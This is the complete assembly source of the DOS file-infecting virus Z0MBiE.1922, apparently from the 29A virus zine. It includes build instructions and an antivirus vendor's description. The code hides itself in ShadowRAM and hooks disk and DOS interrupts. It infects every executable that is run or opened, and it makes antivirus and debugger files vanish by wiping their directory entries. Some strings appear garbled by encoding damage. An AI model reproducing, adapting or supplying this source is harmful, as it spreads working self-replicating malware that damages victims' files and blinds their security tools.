; ; Ŀ ; Z0MBiE.1922 ; written by Z0MBiE ; ; ; This virus is related with the Win95.Z0MBiE virus, also included in this ; issue of 29A, in the "Win32" section. It is dropped in the root directory ; of every drive in which Win95.Z0MBiE has infected a PE file, with the sys- ; tem and archive attributes. From that moment onwards, Z0MBiE.1922 is able ; to spread all over the HD with independence of what his "daddy" does. This ; DOS virus is the first ever to use ShadowRAM in order to go resident. This ; new technique has many advantages, and maybe the most important is that it ; is impossible to unhook the virus by normal means, as its code is locked ; and is only accesable when performing the infection tasks, after being ca- ; lled from int 13h or int 21h. Z0MBiE has many other peculiarities, descri- ; bed below by Igor Daniloff in his analysis of this virus. ; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; Zombie.1922 ; ; Igor Daniloff ; DialogueScience ; ; Zombie.1922 is a destructive resident encrypted virus. It is a "product ; of the life activity" of Win95.Zombie. After creation, Zombie.1922 ; "leads a full-fledged life" all by itself. Win95.Zombie creates a file ; ZSetUP.EXE in the root directory of every drive it infects. On starting ; ZSetUP.EXE, the virus code gets control and examines whether it (the ; virus) can open RAM Shadow for writing. Then it determines a 2122-byte ; block of free memory (of zero bytes) in the segment 0C000h. If it ; succeeds in this, the virus determines the location address of the 8x14 ; system font. If this font exists in the segment 0C000h and if the address ; of the original Int 13h handler is available in the segment 0F000h, the ; virus opens RAM Shadow for writing and plants its code in the zero byte ; region or at the location of the 8x14 system font. Then the virus ; modifies the original Int 13h handler by inserting a command for ; transferring control to the virus procedure. Finally, RAM Shadow is ; "closed" to lock it from further writing. ; ; On reading the sector (f.2 Int 13h) of initial signature "MZ", the virus ; "intercepts" Int 21h, whose handler infects every EXE that is started or ; opened for reading or writing. While reading the sectors containing ; directory or file entries, the virus looks for the byte strings ADINF, ; AIDS, AVP, WEB, DRWEB, ---, CPP, C, S-ICE, TD, DEBUG, WEB70801, and CA. ; On detecting any such string, the virus sets in the sector just read the ; first byte OE5h (attribute for a deleted file) for the detected entry and ; "overwrites" all other bytes with zeros in the entry. Thus, if the virus ; is active, the operating system will not even suspect the presence of ; these files in the drive. ; ; The virus handlers of Int 13h and Int 21h, upon receiving control, "open" ; RAM Shadow, launch their procedures, and finally "close" RAM Shadow. ; Without appropriate shadow memory manipulations, it is not possible to ; kill or eradicate the resident virus code. On detecting this virus in ; the memory, the system must be cured by starting the machine from an ; independent boot diskette containing a "clean" operating system. ; Beware! Zombie.1922 is, apparently, clever enough to open RAM ; Shadow on most of the modern system boards with Pentium. The virus ; contains a few text strings: ; ; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE ; Tnx to S.S.R. ; ShadowRAM/Virtual Process Infector ; ShadowRAM Technology (c) 1996,97 Z0MBiE ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; ; ; Compiling it ; ; tasm /m zombie.asm ; tlink zombie.obj ; exe2bin zombie.exe zombie.com ; ; ; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 include #equ.inc include #macro.inc include #struc.inc include #header.inc org 100h start: jmp tsr_sh exe_start: mov al, es:[0028h] sux label word not al ; normal: al=0 ; web: al<>0 xor cs:@@sux, al lea si, real_code mov di, si @@2: mov cx, 8 @@1: segcs lodsb inc ax shl bx, 1 or bx, ax loop @@1 mov cs:[di], bl @@sux label byte inc di cmp di, offset real_code + vir_size + stamms_max_ip jne @@2 jmp $+2 decr_size equ $-start real_code: call stamm mov ax, in_ID int 13h cmp ax, out_ID je @@continue call tsr_sh @@continue: mov cx, es add cx, 16 mov ax, 1234h lastword save_ss add ax, cx mov ss, ax mov sp, 1234h lastword save_sp mov ax, 1234h lastword save_cs add ax, cx push ax push 1234h lastword save_ip xor ax, ax retf include rnd.inc include sh_ram.inc include tsr_sh.inc include findR13.inc include ints.inc include infect.inc include hook21.inc include fuck13.inc include switch13.inc include const.inc include stamms.inc vir_size equ $-start include var.inc tsr_size equ $-start org ($-start+256+15) and (not 15) db 256 dup (?) exe_endofstack: exe_memory equ ($-start+256+15)/16 end start ; - -[#EQU.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 in_ID equ '' out_ID equ '' v_size equ decr_size + (vir_size + stamms_max_ip) * 8 b0 equ (byte ptr 0) b1 equ (byte ptr 1) b2 equ (byte ptr 2) b3 equ (byte ptr 3) w0 equ (word ptr 0) w1 equ (word ptr 1) w2 equ (word ptr 2) w3 equ (word ptr 3) l equ w0 h equ w2 offs equ w0 segm equ w2 ; flags fl_CF equ 0001h fl_PF equ 0004h fl_AF equ 0010h fl_ZF equ 0040h fl_SF equ 0080h fl_TF equ 0100h fl_IF equ 0200h fl_OF equ 0800h ; dos file attributes fa_readonly equ 01h fa_hidden equ 02h fa_system equ 04h fa_volumeid equ 08h fa_directory equ 10h fa_archive equ 20h fa_infect equ fa_readonly + fa_hidden + fa_system + fa_archive ; - -[#MACRO.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 mve macro x, y push y pop x endm setalc macro db 0D6h endm lastword macro name name equ word ptr $-2 endm lastbyte macro name name equ byte ptr $-1 endm ; - -[#STRUC.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; dta dta_struc struc dta_drive db ? ; 0=a,1=b,2=c dta_name8 db 8 dup (?) dta_ext3 db 3 dup (?) dta_searchattr db ? dta_num dw ? ; 0=. 1=.. dta_dircluster dw ? dd ? ; unused dta_attr db ? ; 1=r 32=a 16=d 2=h 4=s 8=v dta_time dw ? ; 第 dta_date dw ? ; dta_size dd ? dta_name db 13 dup (?) ends ; exe header exe_struc struc exe_mz dw ? exe_last512 dw ? exe_num512 dw ? exe_relnum dw ? exe_headersize dw ? exe_minmem dw ? exe_maxmem dw ? exe_ss dw ? exe_sp dw ? exe_checksum dw ? exe_ip dw ? exe_cs dw ? exe_relofs dw ? exe_ovrnum dw ? db 32 dup (?) exe_neptr dd ? ends ; sys header sys_header struc sys_nextdriver dd ? ; last driver: offset = FFFF sys_attr dw ? sys_strategy dw ? sys_interrupt dw ? sys_name db 8 dup (?) ends ; sft sft_struc struc sft_handles dw ? sft_openmode dw ? sft_attr db ? sft_flags dw ? sft_deviceptr dd ? sft_filecluster dw ? sft_date dw ? sft_time dw ? sft_size dd ? sft_pos dd ? sft_lastFclustr dw ? sft_dirsect dd ? sft_dirpos db ? sft_name db 11 dup (?) sft_chain dd ? ; share.exe sft_uid dw ? ; share.exe sft_psp dw ? sft_mft dw ? ; share.exe sft_lastclust dw ? sft_ptr dd ? ends ; - -[#HEADER.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 .model tpascal .code .386p assume ds:code locals @@ jumps ; - -[RND.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; random number generator ; output: ax=random(65536) ; zf=rnd(2) random: push bx mov bx, 1234h lastword rndword in al, 40h xor bl, al in al, 40h add bh, al in al, 41h sub bl, al in al, 41h xor bh, al in al, 42h add bl, al in al, 42h sub bh, al mov cs:rndword, bx xchg bx, ax pop bx test al, 1 ret ; input: ax ; output: ax=random(ax) ; zf=rnd(2) rnd: push bx push dx xchg bx, ax call random xor dx, dx div bx xchg dx, ax pop dx pop bx test al, 1 ret ; - -[SH_RAM.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; shadow ram manager ; save shadowram state save_sh_state: push cx mov cl, 59h call cf8_read mov CS:state_F000, ch inc cx call cf8_read mov CS:state_C000, ch inc cx call cf8_read mov CS:state_C800, ch pop cx ret ; restore shadowram state rest_sh_state: nop ; nop/ret push cx mov cx, 0059h lastbyte state_F000 call cf8_write inc cx mov ch, 12h lastbyte state_C000 call cf8_write inc cx mov ch, 12h lastbyte state_C800 call cf8_write pop cx ret ; enable shadowram write disable_sh: push cx mov cl, 59h mov ch, CS:state_F000 and ch, 10001111b or ch, 00110000b call cf8_write inc cx mov ch, 00110011b call cf8_write inc cx mov ch, 00110011b call cf8_write pop cx ret ; read PCI register cf8_read: push eax dx call cf8_main in al, dx mov ch, al pop dx eax ret ; write PCI register cf8_write: push eax dx call cf8_main mov al, ch out dx, al pop dx eax ret cf8_main: mov eax, 80000000h mov al, cl and al, 11111100b mov dx, 0CF8h out dx, eax add dl, 4 mov al, cl and al, 11b add dl, al ret ; - -[TSR_SH.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 rnd_size equ 66 scan_size equ tsr_size + rnd_size ; ; ; output: ZF tsr_sh: push ds es mve ds, cs cli cld call save_sh_state mov al, state_F000 ; FF inc al jz @@exit call find_real_13 jne @@exit call scan_C000 je @@ok IF SCAN_SIZE LE 14*256 call scan_8x14_1 je @@ok call scan_8x14_2 je @@ok ENDIF ; ZF=0 ret @@ok: call disable_sh mov ax, rnd_size call rnd add bp, ax add bp, 15 and bp, not 15 shr bp, 4 mov ax, es add ax, bp sub ax, 16 mov es, ax lea di, start mov EA, 0EAh mov EA.w1, offset int_13_sh mov EA.w3, es mov my_seg, es lea si, start mov cx, tsr_size rep movsb call switch_13 call rest_sh_state xor ax, ax ; CF=0 ZF=1 @@exit: pop es ds ret scan_C000: mve es, 0C000h ; C000:0000 xor di, di xor dl, dl ; dx = bios size in WORDs mov dh, es:[di+2] shl dx, 1 ; in BYTEs jnc @@1 ; max 64k mov dh, 80h @@1: sub dx, scan_size + 32 xor ax, ax @@2: mov bp, di mov cx, (scan_size + 1) / 2 repe scasw je @@exit cmp di, dx jbe @@2 @@exit: ret IF SCAN_SIZE LE 14*256 scan_8x14_1: mov ax, 1130h mov bh, 2 ; 8x14 int 10h mov ax, es cmp ax, 0c000h ret scan_8x14_2: mve es, 0c000h xor di, di @@2: mov cx, 14 xor al, al repe scasb jnz @@1 mov cx, 16 repe scasb cmp es:[di-1].w0, 1000000101111110b jne @@1 cmp es:[di-1+14].w0, 1111111101111110b je @@3 @@1: cmp di, 0f000h jbe @@2 @@3: mov bp, di ret ENDIF ; - -[FINDR13.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 find_real_13: mov ah, 13h int 2Fh mov cx, es mov cs:real_13.offs, bx mov cs:real_13.segm, es int 2Fh cmp cx, 0F000h ret ; - -[INTS.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 int_21: cmp ax, in_id je ax_in_id cmp ax, 4b00h je infect_dsdx cmp ah, 43h je infect_dsdx cmp ah, 3Dh je infect_dsdx exit_21: db 0eah old_21 dd ? infect_dsdx: call infect_file jmp exit_21 ax_in_id: mov ax, out_id iret int_13_sh: cmp ax, in_id je ax_in_id call disable_sh call switch_13 mov cs:save_ax, ax call rest_sh_state pushf db 09Ah real_13 dd ? pushf call disable_sh cmp CS:save_ax.b1, 02h jne @@1 cmp es:[bx].w0, 'ZM' jne @@2 call hook_21 @@2: call analize_13_02 @@1: call switch_13 call rest_sh_state popf retf 2 ; - -[INFECT.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 call21: pushf call cs:old_21 ret infect_file: call disable_sh mov CS:rest_sh_state.b0, 0C3H pusha push ds es cld ; mov si, dx ; cld ;@@0: mov ah, al ; lodsb ; or al, al ; jnz @@0 ; cmp ah, '_' ; jne @@exit mov ax, 3D00h call call21 jc @@exit xchg bx, ax mov ah, 3Fh mve ds, cs lea dx, header mov cx, size exe_struc call call21 cmp ax, cx jne @@close mov ax, header.exe_mz cmp ax, 'ZM' je @@mz cmp ax, 'MZ' jne @@close @@mz: cmp header.exe_checksum.b0, 'i' je @@close mov ax, 4200h xor cx, cx mov dx, header.exe_headersize shl dx, 4 call call21 mov ah, 3Fh lea dx, tempword1 mov cx, 2 call call21 cmp ax, cx jne @@close mov ax, 1234h lastword tempword1 inc ax jz @@close push bx mov ax, 1220h int 2Fh mov bl, es:[di] mov ax, 1216h int 2Fh pop bx mov dx, es:[di].sft_size.h mov ax, es:[di].sft_size.l or al, al jz @@exit mov cx, 1000 div cx or dx, dx jz @@exit mov es:[di].sft_openmode, 2 mve es, cs mov ax, header.exe_num512 dec ax mov cx, 512 mul cx add ax, header.exe_last512 adc dx, 0 mov si, ax mov di, dx mov ax, 4202h cwd xor cx, cx call call21 cmp ax, si jne @@close cmp dx, di jne @@close add ax, 15 adc dx, 0 and al, not 15 sub si, ax sub header.exe_last512, si push ax push dx shr ax, 4 shl dx, 12 or ax, dx sub ax, header.exe_headersize sub ax, 16 mov cx, ax xchg cx, header.exe_cs mov save_cs, cx lea cx, exe_start xchg cx, header.exe_ip mov save_ip, cx mov cx, ax xchg cx, header.exe_ss mov save_ss, cx lea cx, exe_endofstack xchg cx, header.exe_sp mov save_sp, cx add header.exe_minmem, exe_memory add header.exe_num512, v_size / 512 add header.exe_last512, v_size mod 512 mov header.exe_checksum.b0, 'i' mov ax, 4200h pop cx pop dx call call21 call gen_stamm mov ah, 40h lea dx, start mov cx, decr_size call call21 lea si, real_code @@1: lea di, buf mov cx, 8 @@2: lodsb xchg dx, ax mov bp, 8 @@3: xor ax, ax shl dl, 1 rcl ax, 1 dec ax stosb dec bp jnz @@3 loop @@2 mov ah, 40h lea dx, buf mov cx, 64 call call21 cmp si, offset real_code + vir_size + stamms_max_ip jb @@1 mov ax, 4200h cwd xor cx, cx call call21 mov ah, 40h lea dx, header mov cx, size exe_struc call call21 @@close: mov ah, 3Eh call call21 @@exit: pop es ds popa mov CS:rest_sh_state.b0, 90H call rest_sh_state ret gen_stamm: lea di, stamm mov al, 0C3h ; RET stosb mov cx, stamms_max_ip - 1 xor ax, ax rep stosb mov sux, 0D0F6h ; not al mov al, 8 ; month out 70h, al in al, 71h cmp al, 10 ; october ? jne @@exit mov sux, 00B0h ; mov al, 0 mov ax, stamms_num call rnd xchg si, ax imul si, (2+1+2+4)*2 add si, offset stamm_1 mov cx, 2 @@1: lodsw xchg di, ax add di, offset stamm movsb lodsw xchg di, ax add di, offset stamm movsd loop @@1 @@exit: ret ; - -[HOOK21.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 hook_21: pusha push ds es xor si, si mov ds, si les bx, ds:[si+21h*4] or bx, bx jz @@1 mov ax, in_id int 21h cmp ax, out_id je @@1 mov cs:old_21.offs, bx mov cs:old_21.segm, es mov ds:[si+21h*4].offs, offset int_21 mov ds:[si+21h*4].segm, cs @@1: pop es ds popa ret ; - -[FUCK13.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 analize_13_02: pusha mov dx, 1234h lastword save_ax xor dh, dh shl dx, 4 @@1: lea di, [bx+12] mov cx, 10 xor al, al cld repe scasb jne @@next lea bp, bad @@2: mov cx, 11 mov si, bp mov di, bx @@3: segcs lodsb cmp al, '' je @@6 cmp al, 128 jae @@4 @@6: cmp es:[di], al jne @@nxt @@4: inc di loop @@3 mov di, bx mov al, 0E5h stosb xor ax, ax mov cx, 31 rep stosb jmp @@next @@nxt: add bp, 11 cmp bp, offset bad_end jne @@2 @@next: add bx, 32 dec dx jnz @@1 popa ret ; - -[SWITCH13.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 switch_13: push ax si di ds es lds si, cs:real_13 push 1234h lastword my_seg pop es lea di, EA @@1: mov al, [si] xchg al, es:[di] mov [si], al inc si inc di cmp di, offset EA + 5 jne @@1 pop es ds di si ax ret ; - -[CONST.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 db 13,10,10 db 'Z0MBiE`' IF VIR_SIZE GE 1000 db vir_size / 1000 mod 10 + '0' ENDIF db vir_size / 100 mod 10 + '0' db vir_size / 10 mod 10 + '0' db vir_size / 1 mod 10 + '0' db ' v1.00 (c) 1997 Z0MBiE',13,10 db 'Tnx to S.S.R.',13,10 db 'ShadowRAM/Virtual Process Infector',13,10 DB 'ShadowRAM Technology (c) 1996,97 Z0MBiE',13,10 ; ਬ ;) bad: db 'ADINF' db 'AIDS' db 'AVPᠪ' db 'WEB㩮' db 'DRWEB⮦' db '㩭' db '쬮CPP' db 'C ' db 'S-ICE㫥' db 'TD' db 'DEBUG' db 'WEB70801' db 'CAAV' bad_end: ; - -[STAMMS.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 stamm_1: dw 0015h db 01eh dw 0051h dd 0091e60f1h dw 00bdh db 0a3h dw 00f7h dd 00b7405fah stamm_2: dw 0006h db 0b4h dw 0022h dd 0f1ebf71eh dw 00b3h db 080h dw 00dfh dd 03d021624h stamm_3: dw 0032h db 01eh dw 005eh dd 001b82595h dw 00c5h db 033h dw 00e1h dd 0b104c9e9h stamm_4: dw 003eh db 0fah dw 005ah dd 08b134c0bh dw 00cdh db 080h dw 00f9h dd 059e0df7fh stamm_5: dw 0009h db 02eh dw 0025h dd 0e809e525h dw 0037h db 0e8h dw 0063h dd 04b02f8a4h stamm_6: dw 0009h db 050h dw 0025h dd 000845225h dw 0043h db 080h dw 006fh dd 003449a4eh stamm_7: dw 001ah db 050h dw 0046h dd 0c033cbadh dw 0085h db 0a1h dw 00a1h dd 0a306fd1bh stamm_8: dw 0036h db 0b8h dw 0052h dd 050e0c65bh dw 00b2h db 09ch dw 00deh dd 08ec9e34eh stamm_9: dw 0007h db 08eh dw 0023h dd 002a20883h dw 00b3h db 091h dw 00dfh dd 00315fe59h stamms_num equ 9 stamms_max_ip equ 254 ; - -[VAR.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 stamm: db stamms_max_ip dup ('?') EA db ? dw ? my_seg2 dw ? header exe_struc ? buf db 64 dup (?)